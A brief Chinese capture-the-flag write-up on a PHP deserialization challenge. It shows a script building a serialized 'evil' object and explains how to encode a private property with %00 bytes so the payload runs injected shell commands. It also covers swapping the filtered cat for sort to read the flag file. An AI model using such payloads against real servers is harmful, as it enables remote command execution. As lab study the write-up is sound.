一道反序列的基础题,但是细节蛮多的。
这里有一个细节。$cmd 是 private 属性的,赋值只能在内部赋值。即 private $cmd = <命令>
不能
然后if判断语句是过滤我们输入的命令,这里比较好绕过。常见的cat命令代替
编写exp
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd="ls";
}
$res=new evil;
echo serialize($res);
?>
浏览器输出的结果:O:4:"evil":1:{s:9:"evilcmd";s:2:"ls";}
这里直接将输出结果传进去是不行的。原因
PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,private是%00类名%00属性名 ,protected为%00*%00属性名 ,注意这两个 %00就是 ascii 码0的字符。这个字符显示和输出可能看不到,甚至导致截断(无法复制),但是url编码后就可以看得清楚.。
就是说上面的O:4:"evil":1:{s:9:"evilcmd";s:2:"ls";}
要改为O:4:"evil":1:{s:9:"%00evil%00cmd";s:2:"ls";}
接下来查看根目录,这里也有一个细节%20算作一个字符串,所以s:后面填4。
最后就是查看flag文件了,可以用上面提到的命令替换cat命令。这里就用sort命令来看。